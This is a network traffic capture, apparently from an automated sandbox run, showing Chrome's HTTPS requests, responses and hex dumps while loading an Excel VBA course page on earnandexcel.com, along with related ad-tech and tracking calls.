530	192.168.2.17	50370	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	727	OUT	POST /p HTTP/1.1 Host: tr6.snapchat.com Connection: keep-alive Content-Length: 901 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4U4QTDeCkyosPt/sa2eVtZlL+Rlihy0LM2UN1uaO9jcuTB8EmKEJ3l/1AwRuylhAAAAA
2024-04-11 21:27:06 UTC	901	OUT	Data Raw: 7b 22 63 74 78 22 3a 7b 22 62 74 22 3a 22 31 64 35 33 63 33 38 37 22 2c 22 63 31 22 3a 22 63 38 63 32 66 37 35 33 2d 64 64 63 62 2d 34 33 66 61 2d 62 35 32 38 2d 64 31 63 63 62 63 39 63 65 31 37 63 22 2c 22 6c 63 22 3a 22 33 31 35 63 66 32 33 33 2d 61 61 62 37 2d 34 32 63 36 2d 61 66 64 32 2d 61 64 63 38 34 32 36 33 30 63 30 36 22 2c 22 6c 73 22 3a 22 33 38 61 65 39 61 39 30 2d 66 35 34 30 2d 34 35 35 35 2d 61 36 35 33 2d 30 37 37 32 32 62 30 35 65 66 63 66 22 2c 22 72 22 3a 22 30 61 64 64 63 30 35 62 2d 66 33 36 34 2d 34 61 35 36 2d 39 34 35 31 2d 32 33 34 65 61 39 34 34 62 64 34 64 22 2c 22 73 73 22 3a 22 62 66 61 38 36 63 66 32 2d 37 32 38 34 2d 34 64 38 63 2d 39 32 39 66 2d 39 35 39 37 63 31 38 38 33 66 36 38 22 2c 22 64 66 22 3a 74 72 75 65 2c 22 73 Data Ascii: {"ctx":{"bt":"1d53c387","c1":"c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c","lc":"315cf233-aab7-42c6-afd2-adc842630c06","ls":"38ae9a90-f540-4555-a653-07722b05efcf","r":"0addc05b-f364-4a56-9451-234ea944bd4d","ss":"bfa86cf2-7284-4d8c-929f-9597c1883f68","df":true,"s
2024-04-11 21:27:06 UTC	388	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:27:06 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 0 x-envoy-upstream-service-time: 0 server: API Gateway alt-svc: clear Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.17	50398	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	2653	OUT	GET /courses/excel-vba/ HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:06 UTC	1328	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0f0999c6729e-EWR CF-Cache-Status: HIT Age: 1587421 Cache-Control: public, max-age=0, s-maxage=2592000 Last-Modified: Fri, 22 Mar 2024 10:59:41 GMT Link: <https://earnandexcel.com/wp-json/>; rel="https://api.w.org/", <https://earnandexcel.com/wp-json/wp/v2/courses/27947>; rel="alternate"; type="application/json", <https://earnandexcel.com/?p=27947>; rel=shortlink Vary: Accept-Encoding, sec-ch-ua-mobile accept-ch: Sec-CH-UA-Mobile content-security-policy: block-all-mixed-content ki-Cache-Tag: 2b83a4e6-d195-4d43-8593-11c2c85261d1,32d53973b87c256c154ac1bee4514bdd3a8e9bcf1d5e6369521d46f1e0cf1b34 ki-cache-type: Edge Ki-CF-Cache-Status: HIT ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 x-kinsta-cache: HIT x-nitro-cache: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cjOlBtm49wlTMg8fbSYNiWZPM1yjBypt5S8jUNfLBv8WYxL8xnJxlZsY5soXbgXqOobZe41mKFyOQtOxcOMNL1mPfkbd6fLXKk%2BfjNrNz08l3yy58yWjHfdTrgEef2hE%2Bkg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:06 UTC	41	IN	Data Raw: 37 61 38 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 Data Ascii: 7a80<!DOCTYPE html><html lang="en-US"
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 3e 0a 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 7c 7c 20 27 27 0a 0a 09 09 09 77 69 6e 64 6f 77 2e 6c 69 67 Data Ascii: ><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><script type="text/javascript">window.flatStyles = window.flatStyles \|\| ''window.lig
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 61 74 53 74 79 6c 65 73 20 2b 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 0a 09 09 09 09 09 09 09 09 09 74 68 69 73 2e 6f 70 74 69 6d 69 7a 69 6e 67 20 3d 20 66 61 6c 73 65 0a 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 09 09 09 09 09 09 09 09 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 20 63 61 74 63 68 20 28 20 Data Ascii: atStyles += currentStylesheet.innerHTMLthis.optimizing = false}} else {window.flatStyles = currentStylesheet.innerHTMLcurrentStylesheet.setAttribute( 'data-ls-optimized', '1' )}}} catch (
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 32 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 4f 6e 6c 69 6e 65 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 56 42 41 20 43 6f 75 72 73 65 20 2d 20 45 61 72 6e 20 26 61 6d 70 3b 20 45 78 63 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 57 65 Data Ascii: ax-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO plugin v18.2 - https://yoast.com/wordpress/plugins/seo/ --><title>Online Microsoft Excel VBA Course - Earn & Excel</title><meta name="description" content="We
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 6c 61 62 65 6c 31 22 20 63 6f 6e 74 65 6e 74 3d 22 45 73 74 2e 20 72 65 61 64 69 6e 67 20 74 69 6d 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 61 74 61 31 22 20 63 6f 6e 74 65 6e 74 3d 22 31 31 20 6d 69 6e 75 74 65 73 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e Data Ascii: <meta name="twitter:label1" content="Est. reading time" /><meta name="twitter:data1" content="11 minutes" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://earn
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 56 42 41 20 43 6f 75 72 73 65 2e 20 54 68 69 73 20 63 6f 75 72 73 65 20 77 69 6c 6c 20 69 6e 74 72 6f 64 75 63 65 20 74 68 65 20 61 75 64 69 65 6e 63 65 20 74 6f 20 75 6e 64 65 72 73 74 61 6e 64 20 45 78 63 65 6c 20 56 42 41 20 4f 6e 6c 69 6e 65 2e 22 2c 22 62 72 65 61 64 63 72 75 6d 62 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 75 72 73 65 73 2f 65 78 63 65 6c 2d 76 62 61 2f 23 62 72 65 61 64 63 72 75 6d 62 22 7d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 52 65 61 64 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 Data Ascii: VBA Course. This course will introduce the audience to understand Excel VBA Online.","breadcrumb":{"@id":"https://earnandexcel.com/courses/excel-vba/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://earnandexce
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 75 6c 74 2d 6d 61 69 6e 2d 66 72 61 6d 65 2d 63 73 73 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 68 72 69 76 65 2d 75 6c 74 69 6d 61 74 75 6d 2f 74 63 62 2d 62 72 69 64 67 65 2f 61 73 73 65 74 73 2f 63 73 73 2f 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 75 74 6f 72 2d 69 63 6f 6e 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e Data Ascii: ult-main-frame-css-css' href='https://earnandexcel.com/wp-content/plugins/thrive-ultimatum/tcb-bridge/assets/css/placeholders.css' type='text/css' media='all' /><link rel='stylesheet' id='tutor-icon-css' href='https://earnandexcel.com/wp-content/plugin
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 45 33 45 35 45 42 3b 2d 2d 74 75 74 6f 72 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 72 67 62 3a 32 32 37 2c 20 32 32 39 2c 20 32 33 35 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 67 72 61 79 3a 23 43 44 43 46 44 35 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 67 72 61 79 2d 72 67 62 3a 32 30 35 2c 20 32 30 37 2c 20 32 31 33 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 75 74 6f 72 2d 70 72 6f 2d 66 72 6f 6e 74 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 75 74 6f 72 2d 70 72 6f 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 72 6f 6e 74 2e 63 73 Data Ascii: olor:#E3E5EB;--tutor-border-color-rgb:227, 229, 235;--tutor-color-gray:#CDCFD5;--tutor-color-gray-rgb:205, 207, 213;}</style><link rel='stylesheet' id='tutor-pro-front-css' href='https://earnandexcel.com/wp-content/plugins/tutor-pro/assets/css/front.cs
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 74 2f 63 73 73 27 3e 0a 3a 72 6f 6f 74 20 7b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 47 6f 72 64 69 74 61 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 38 36 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 6c 65 74 74 65 72 2d 73 70 61 63 69 6e Data Ascii: t/css'>:root {--edumall-typography-body-font-family: Gordita;--edumall-typography-body-font-size: 14px;--edumall-typography-body-font-weight: 400;--edumall-typography-body-line-height: 1.86;--edumall-typography-body-letter-spacin
2024-04-11 21:27:06 UTC	1369	IN	Data Raw: 78 74 3a 20 23 32 35 32 35 32 35 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 66 6f 72 6d 2d 66 6f 63 75 73 2d 62 6f 72 64 65 72 3a 20 23 30 30 37 31 64 63 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 66 6f 72 6d 2d 66 6f 63 75 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 73 75 62 2d 6d 65 6e 75 2d 62 6f 72 64 65 72 3a 20 23 65 64 65 64 65 64 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 73 75 62 2d 6d 65 6e 75 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 7d 0a 2e 62 6f 78 65 64 7b 6d 61 78 2d 77 69 64 74 68 3a 31 32 30 30 70 78 7d 3a 3a 2d 6d 6f 7a 2d 73 65 6c 65 63 74 69 6f 6e 7b 63 6f 6c 6f 72 3a Data Ascii: xt: #252525;--edumall-color-form-focus-border: #0071dc;--edumall-color-form-focus-background: #fff;--edumall-color-sub-menu-border: #ededed;--edumall-color-sub-menu-background: #fff;}.boxed{max-width:1200px}::-moz-selection{color:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.17	50379	38.68.201.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	604	OUT	GET /sn.ashx?&gdpr=0&gdpr_consent= HTTP/1.1 Host: pmp.mxptint.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:06 UTC	720	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R35CA5_113D39E02_878EBDBB&r=https://pmp.mxptint.net/sn.ashx?ak=1 P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" Set-Cookie: mxpim=R35CA5_113D39E02_878EBDBB.1.0000000000000000661855AA; domain=mxptint.net; expires=Sat, 11-Apr-2026 21:27:06 GMT; path=/; secure; SameSite=None Date: Thu, 11 Apr 2024 21:27:05 GMT Connection: close Content-Length: 302 Strict-Transport-Security: max-age=-395875626; includeSubDomains
2024-04-11 21:27:06 UTC	302	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 71 63 7a 30 78 4a 6d 4e 76 5a 47 55 39 4d 6a 63 30 4e 43 5a 30 62 44 30 78 4e 54 63 32 4f 44 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 52 33 35 43 41 35 5f 31 31 33 44 33 39 45 30 32 5f 38 37 38 45 42 44 42 42 26 61 6d 70 3b 72 3d 68 74 74 70 73 3a 2f 2f 70 6d 70 2e 6d 78 70 74 69 6e 74 2e 6e 65 74 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R35CA5_113D39E02_878EBDBB&r=https://pmp.mxptint.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.17	50387	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	672	OUT	GET /dmp/pixelSync?nid=4&gdpr=0 HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=e6ef51c6-bf79-4ef8-8306-49833c46ea9d#1712870824786
2024-04-11 21:27:06 UTC	785	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=e6ef51c6-bf79-4ef8-8306-49833c46ea9d#1712870824786; Domain=.sitescout.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyIxNyI6MTcxMjg3MDgyNjUzNX0; Domain=.sitescout.com; Expires=Sat, 11-May-2024 21:27:06 GMT; Path=/; Secure; SameSite=None location: https://us-u.openx.net/w/1.0/sd?id=537072977&val=e6ef51c6-bf79-4ef8-8306-49833c46ea9d-661855a8-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 11 Apr 2024 21:27:06 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.17	50389	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	541	OUT	OPTIONS /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: some.growplow.events Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://earnandexcel.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:06 UTC	717	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Length: 0 Connection: close access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true access-control-allow-headers: Content-Type, SP-Anonymous access-control-max-age: 5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x2LY3XQmO4rlgn2xri7f4ol2R%2B6ruVseUh09MpFu6vwx%2FJC3fq7vWW%2ByVshbT%2FlDcPen6vdJcUUySoFgsKNDpQrXdEIEvvA7ZeOPgshzrHFrm15shf06VF07Db3kX7HVQZ0cJrK8rA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0f0a5ddf1a17-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.17	50410	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
